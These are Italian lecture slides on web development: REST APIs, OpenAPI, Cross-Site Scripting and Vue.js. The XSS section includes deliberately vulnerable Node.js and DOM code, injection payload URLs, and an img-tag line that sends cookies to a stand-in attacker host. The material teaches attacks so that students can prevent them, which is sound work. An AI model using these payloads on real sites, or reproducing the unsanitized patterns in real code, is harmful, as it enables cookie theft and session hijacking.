Modifica libro (o creazione libro con uno specifico ID) [PUT] /books/<id>.
Cancellazione libro [DELETE] /books/<id>.

RESTful WS: esempio

GET http://myapp.com/api/entry

[{
    id: 17,
    date: "2013/15/5 11:58:00",
    amount: 17.38,
    currency: "eur",
    description: "pranzo"
  }, {
    id: 185,
    date: "2013/15/5 8:30:00",
    amount: 1.20,
    currency: "eur",
    description: "caffè"
  }]

RESTful: OpenAPI

Alcune idee di REST sono belle, ma di fatto impraticabili... occorre documentazione!

OpenAPI is an API description format for REST APIs
  • Inizialmente chiamata "Swagger Specification"
  • Insieme di strumenti per generare codice e documentazione
    • codice server da specifiche
    • documentazione da codice server
    • client da documentazione
  • Usa YAML o JSON

RESTful: come crearli

Alcune opzioni

  • a mano
  • Express!

XSS

Cross-Site Scripting (XSS)

  • Vulnerabilità informatiche che affliggono le applicazioni web
  • Sono complesse da trovare, prevenire e capire
  • Si possono organizzare in 3 tipi:
    • Reflected
    • Stored
    • DOM-based

Reflected (non-persistent)

  • Documento web dinamico che contiene valori estratti da una richiesta HTTP
  • XSS: i valori dei parametri non sono filtrati

Reflected (non-persistent)

const http = require('http');
const url = require('url');

http.createServer(function (req, res) {
  const queryObject = url.parse(req.url, true).query;
  res.write('<html>');
  if(queryObject.par1 !== undefined){
    res.write(queryObject.par1);
  }
  
  res.write('</html>');
  res.end();
}).listen(3000);
http:.../?par1=<script>alert("ciao");<script>

Stored (persistent)

  • Documento web dinamico che contiene valori estratti da un database
  • L'attacco XSS era stato inserito precedentemente da un altro utente

"È solo una innocua alert!"

  • Stiamo inserendo del codice in un programma
  • Possiamo far fare qualsiasi cosa al browser
  • document.cookie
    • invio i cookie ad un attaccante

"Si, ma come metto il parametro malevolo?"

  • L'attacante deve creare un link fatto apposta
  • Deve far cliccare l'utente sul link malevolo

"Ma c'è la Same Origin Policy!"

  • SOP si applica agli script e ai frame, ma...
  • ... nel DOM ci elementi grafici che usano URL
    • img
    • link
  • ... questi vengono risolti automaticamente senza restrizioni!
<img src="http://hackers.evil/img.jpg?cookie=xxx" />

DOM based

  • Documento web dinamico che contiene valori ricevuti dall'utente e manipolati lato client
  • Uno script modifica il DOM in base a questi valori
  • DOM based

    Come dovrebbe funzionare l'attacco?

    • Link malevolo che contiene del codice da far eseguire
    • Non viene inviato al server, quindi non può essere filtrato/rilevato lato server
    • Uno script legge l'url e prende parte di questo per fare "qualcosa"

    DOM based

    Molto comune nelle Single Page Application

    L'anchor (#) viene utilizzato per navigare tra le slide: del codice javascript leggerà l'url ed estrarrà il numero della slide

    DOM based

    url = new URLSearchParams(location.search);
    x = url.get('x');
    document.write(x);
    http://trusted.com?n=<script>alert(...)</script>

    Source e sink

    • Alcuni oggetti sono sono potenzialmente controllabili dall'attaccante (source)
      • document.URL
      • document.referrer
      • location.search
    • Alcune funzioni sono potenzialmente pericolose (sink)
      • document.write()
      • innerHTML
      • eval()

    Source e sink

    • In realtà i browser recenti aggiungono delle restrizioni
    • document.URL viene convertito
    • devo esplicitamente invocare decodeURIComponent()

    Non funziona

    const pos=document.URL.indexOf("n=")+2;
    const n = document.URL.substring(pos,document.URL.length)
    document.write(n);
    http://trusted.com?n=<script>alert(...)</script>

    → stampa %3Cscript%3Ealert(1)%3C/script%3E

    Esempio funzionante

    <body>
      
    </body>
    const search = location.search;
    const params = new URLSearchParams(search);
    const data = params.get("n");
    const main = document.querySelector("main");
    main.innerHTML = "<img src='"+data+"'.png' />";
    http://trusted.com?n=%27%20onerror=%27alert()%27

    Esempio funzionante

    <body>
      
    <img src='' onerror="alert()"/>
    </body>
    const search = location.search;
    const params = new URLSearchParams(search);
    const data = params.get("n");
    const main = document.querySelector("main");
    main.innerHTML = "<img src='"+data+"'.png' />";
    http://trusted.com?n=%27%20onerror=%27alert()%27

    Prevenzione

    In pillole:

    • Considerare ogni input dell'utente come pericoloso
    • Fare sempre sanitizazione

    Vue.js

    Vue.js

    Vue (pronounced /vjuː/, like view) is a progressive framework for building user interfaces. Unlike other monolithic frameworks, Vue is designed from the ground up to be incrementally adoptable.
    • È un framework JavaScript
    • Semplifica la creazione di GUI e front-end
    • Progressive: non occorre imparare tutto subito

    Perchè Vue.js

    • Curva di apprendimento relativamente meno ripida rispetto altri framework (REACT, Angular, ...)
    • Molto leggero (20KB)
    • Componenti:
      • struttura ordinata del progetto
      • non separiamo le responsabilità (MVC), ma i componenti (html/stile/codice uniti)

    Vue.js: uso

    Devo includere Vue nel mio documento web

    Conviene usare una CDN:

    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>

    Versione di produzione (senza warning e debug):

    <script src="https://unpkg.com/vue@3/dist/vue.global.prod.js"></script>

    Vue.js: uso

    Ogni applicazione inizia creando una nuova istanza Vue tramite createApp():

    const { createApp } = Vue
    const app = createApp({
      /* opzioni */
    })

    Vue.js: mounting

    Una applicazione deve essere legata ad un container, un elmento HTML dove fare il rendering dell'applicazione

    Si fa tramite il metodo mount():

    • viene invocato dopo aver configurato e inizializzato la app
    • prende come input un elemento HTML o un selettore CSS
    app.mount('#app')

    Reactivity system

    Vue.js si basa sul reactivity system: se un oggetto JavaScript viene modificato, la view viene aggiornata

    Data

    Gli oggetti che voglio controllare col reactivity system vanno passati tramite la proprietà data

    data sarà un metodo che restituisce gli oggetti da monitorare.

    Il reactivity system si occuperà di "reagire" ogni volta che una di queste proprietà viene modificata eseguendo il re-rendering.

    var data = { a: 1 }
    
    const app = createApp({
      data() { return data }
    })

    Interpolazioni

    Vue.js usa una sintassi basata su template HTML dinamici. Per legare i dati al render ha delle funzioni di interpolazione

    • {{ x }} detto "mustache", nell'html viene sostituito dalla valutazione di x
    • se voglio specificare che x va resa come html, devo usare la direttiva v-html

    Metodi, funzioni e comportamenti

    • È possibile associare ad una instanza Vue delle funzioni
    • Queste vanno messe nella proprietà methods
    • Anche queste funzioni sono reattive al camabiamento
    • Possono essere usate come handler degli eventi DOM

    Direttive

    • Le direttive sono attributi speciali con il prefisso v-
    • Sono pensate per ricevere una singola espressione JavaScript
    • Le direttive applicano un effetto reattivo quando la loro espressione cambia
    • Possono accettare degli argomenti passati con i :

    Ora mi vedi

    La direttiva v-if rimuove/inserisce l'elemento se l'espressione "seen" è falsa/vera

    Direttive

    • v-if mostra o nasconde un elemento se l'espressione è vera o falsa
    • v-for ripete il componente per ogni elemento di un oggetto iterabile
    • v-on:event associa una funzione all'evento event
    • v-bind:attr lega il valore di una attributo attr ad una espressione
    • v-html imposta innerHTML dell'elemento con l'espressione

    Scorciatoie

    • Alcune direttive si possono abbreviare per migliorare leggibilità del codice
    • v-on:event@event
    • v-bind:attr:attr

    Computed Properties

    • Proprietà particolari con valori dinamici
    • Ricavate da altre proprietà
    • Definite nella proprietà computed
    • Si aggiornano automaticamente quando una dipendenza cambia
    • Permettono di fare caching e non richiamare funzioni inutilmente
    const { createApp } = Vue
    const data = {firstname: "Andrea", lastname: "De Lorenzo"};
    const app = createApp({
        data() {
            return data
        },
        computed: {
            fullname: function() {
              return this.firstname + ' ' + this.lastname;
            }
          }
      });
    app.mount('#app');

    Classi CSS

    • Possiamo modificare l'attributo class con la direttiva :class
    • Molto comodo per manipolare come appare il DOM
    • Posso associare dei booleani ad ogni classe :class="{ 'cl1': hasCl1, 'cl2': hasCl2}"
    • Posso farlo anche come array: :class="['cl1','cl2']"

    Eventi

    • Con v-on:event o @event possiamo gestire gli eventi
    • Possiamo aggiungere dei modificatori:
      • .stop: blocca il bubbling
      • .prevent: previene l'azione standard
      • .once: invoca la callback una sola volta, poi la rimuove
    <a href="..." @click.prevent="onClick">Ancora</a>

    Input utente

    • Posso legare l'input dell'utente ad un modello bidirezionale:
      • Cambiamenti all'input o al modello influiranno sull'altra componente
    • Il modello è creato con la direttiva v-bind="myModel"
    <main id="app">
        
        {{testo}}
    </main>
    const app = createApp({
        data() {
          return {testo: ""}
        }
    });

    Componenti

    • Sono una porzione di HTML arricchita
    • Posso usarli con un custom tag <mio-comp></mio-comp>
    • Se definiti nativamente (no build) vanno dichiarati con alcune caveat
    • Vanno registrati prima della creazione dell'istanza Vue
      • globalmente se disponibili per tutta la app
      • localmente se solo dentro ad un altro componente

    Componenti

    Registrazione globlae

    app.component('mio-comp', {
      [...] 
    });

    Registrazione locale

    export default {
      [...],
      components: {
        'mio-comp': {
          [...] 
        }
      }
    });

    Componenti: data

    • Ad una componente può essere passato una proprietà data
    • data rappresenta il modello dei dati reattivo per quel componente
    • Non passo un oggetto, ma una funzione!
      • Potrei avere più istanze dello stesso componente
      • Voglio avere modelli separati per ogni componente
    export default {
      data: function() {
        return {
          name: 'Andrea',
          age: 37
        };
      }
    }

    Componenti: template

    • Ogni componente avrà una struttura HTML
    • Viene passata tramite il parametro template
    • Può essere definito in diversi modi:
      • Stringa
      • Single File Components

    Componenti

    Stringa inline

    const ButtonCounter = {
      data() {
        return {
          count: 0
        }
      },
      template: `
        `
    }

    Componenti

    Stringa in modulo separato

    export default {
      data() {
        return {
          count: 0
        }
      },
      template: `
        `
    }

    Componenti: props

    • Ogni componente ha uno scope isolato
    • Posso passare dei valori al componente da un altro componente
    • Questi valori vengono definiti tramite la proprietà props
      • Array di stringhe
      • Proprietà di un oggetto (posso definire il tipo)
    • Posso essere statici o dinamici
      • Statici: attributi del componente
      • Dinamici: shortcut col nome della prop

    Componenti: props

    <div id="app">
      <people-list :people="people"></people-list>
      <div>
        <input v-model="name" placeholder="name" /><br />
        <input v-model="surname" placeholder="surname" /><br />
        <button @click.prevent="addPerson">Add person</button>
      </div>
    </div>

    Componenti: props

    const { createApp } = Vue
    
    const PeopleList = {
        props: ['people'],
        template: ``
    }
    const Person = {
        props: ['person'],
        template: `
    {{ person.name }} {{ person.surname }}
    ` } const app = createApp({ data() { return { people: [{ name: 'Andrea', surname: 'De Lorenzo' }], name: '', surname: ''}}, methods: { addPerson: function() { this.people.push({ name: this.name, surname: this.surname }); this.name = ''; this.surname = ''; } } }); app.component("Person", Person); app.component("PeopleList", PeopleList); app.mount('#app');

    Componenti: single file component

    • Posso definire componenti in file separati con dentro tutto
    • Molto comodo ed ordinato:
      • Ogni componente sarà un file sorgente
      • Ogni componente contiene stile, funzionalità e struttura html
    • Necessità di uno strumento di build:

    Componenti: single file component

    • Ogni componente sarà un file sorgente
    • Ogni componente contiene stile, funzionalità e struttura html

    Output

    Funzionalità

    Stile

    Creazione di un componente

    • Creare un file .vue
    • Creare le tre sezioni:
      • <template>
      • <script>
      • <style>
    • Importare il file nel componente in cui va usato

    Routing

    Spesso le Web App sfruttano il concetto di Single Page Application

    Tutta l'applicazione sta in una singola pagina html le cui componenti cambiano dinamicamente a seconda del contenuto

    Routing

    Comodo offrire dei permalink alle risorse in una Single Page Applicaion

    Si sfruttano le ancore dell'url (la parte che segue #)

    In Vue.js si usa il routing per caricare template in base all'url

    Routing

    import Home from './Home.js'
    import About from './About.js'
    import NotFound from './NotFound.js'
    
    const routes = {
      '/': Home,
      '/about': About
    }
    export default {
      data() {
        return { currentPath: window.location.hash }
      },
      computed: {
        currentView() {
          return routes[this.currentPath.slice(1) || '/'] || NotFound
        }
      },
      mounted() {
        window.addEventListener('hashchange', () => {
          this.currentPath = window.location.hash
        })
      },
      template: `<a href="#/">Home</a> |<a href="#/about">About</a> | <a href="#/non-existent-path">Broken Link</a>
      <current-view><</current-view>`
    }